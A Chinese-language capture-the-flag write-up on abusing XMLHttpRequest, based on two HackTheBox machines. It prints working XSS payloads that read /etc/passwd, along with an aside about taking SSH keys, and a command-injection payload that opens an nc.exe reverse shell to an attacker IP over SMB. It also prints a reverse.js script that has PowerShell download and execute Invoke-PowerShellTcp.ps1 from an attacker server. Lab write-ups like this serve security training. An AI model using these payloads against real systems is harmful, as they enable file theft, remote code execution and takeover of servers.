从两道靶场题目看XHR
字数 1302 2025-08-20 18:17:47
XMLHttpRequest (XHR) 安全利用技术详解
0x01 XHR 基础概念
XMLHttpRequest (XHR) 是现代浏览器内置对象,用于与服务器交互而无需刷新整个页面。关键特性:
- 支持获取任何类型数据,不限于 XML
- 支持 HTTP 以外的协议(包括 file:// 和 FTP)
- 常用于 AJAX 编程中实现异步数据加载
0x02 利用一:读取本地文件
应用场景
- XSS 攻击后台管理员
- 普通用户构造 payload 发送给管理员
- 管理员登录后台触发 payload
实例分析(HackTheBox book 靶场)
-
环境描述:
- 普通用户可上传 PDF 并自定义 Title 和 Author
- 管理员可下载用户上传的 PDF
- Title 字段 XSS 会显示在管理员可见的 PDF 标题中
-
验证步骤:
<script>document.write(Date());</script> -
利用 XHR 读取本地文件:
<script> x = new XMLHttpRequest; x.onload = function(){ document.write(this.responseText) }; x.open("GET", "file:///etc/passwd"); x.send(); </script> -
进阶利用:
- 读取服务器 SSH 私钥实现登录
- 注意:有字数限制时可写入外部 JS 文件引用
0x03 利用二:XSS 到 SSRF 实现命令执行
应用场景
- 存在命令执行功能但限制 IP 访问
- 需要借用管理员身份绕过 IP 限制
实例分析(HackTheBox Bankrobber 靶场)
-
环境描述:
- backdoorchecker.php 可执行 dir 命令
- 仅允许本地执行
- 通过 SQL 注入已获取源码
-
利用思路:
- 结合 XHR 借用管理员身份访问 backdoorchecker.php
- 构造 payload 绕过命令执行限制
-
Payload 示例:
<script> var x = new XMLHttpRequest(); x.open("POST", "backdoorchecker.php", true); x.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); x.send('cmd=dir xxx || \\\\10.10.16.21\\ica\\nc.exe -e cmd.exe 10.10.16.21 9999'); </script> -
反弹 Shell:
- 攻击机监听:
nc -lvvp 9999 - 使用 SMB 服务(可通过 impacket 的 smbserver.py 搭建)
- 攻击机监听:
0x04 扩展利用技术
外部 JS 文件引用
-
基本方法:
<script src="http://攻击IP:8000/reverse.js"></script> -
reverse.js 示例:
function paintfunc(){ var http = new XMLHttpRequest(); var url = 'http://localhost/admin/backdoorchecker.php'; var params = 'cmd=dir| powershell -c "iex (New-Object Net.WebClient).DownloadString(\'http://10.10.16.21:8000/Invoke-PowerShellTcp.ps1\');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.21 -Port 9969"'; http.open('POST', url, true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.send(params); } paintfunc();
PowerShell 反弹 Shell
- 使用 PowerShell 下载并执行脚本
- 需要预先准备 Invoke-PowerShellTcp.ps1
0x05 注意事项与问题解决
-
常见问题:
- Chrome + Windows 环境下可能无法读取其他目录文件
- 错误信息:
Uncaught DOMException: Failed to execute 'send' on 'XMLHttpRequest'
-
解决方案:
- 参考 CVE-2019-11730(Firefox 特定版本漏洞)
- 下载指定版本 Firefox:http://ftp.mozilla.org/pub/firefox/releases/
- 必须将文件保存到本地再打开
-
iframe 限制:
- iframe 通过浏览器本地同源加载文件,不能通过网络加载
- 本地测试有效,但通过网站访问时受限
0x06 其他潜在利用方式
-
未登录后台情况:
- 添加管理员账户
- 修改系统配置
-
数据外泄:
- 窃取敏感信息
- 获取用户凭证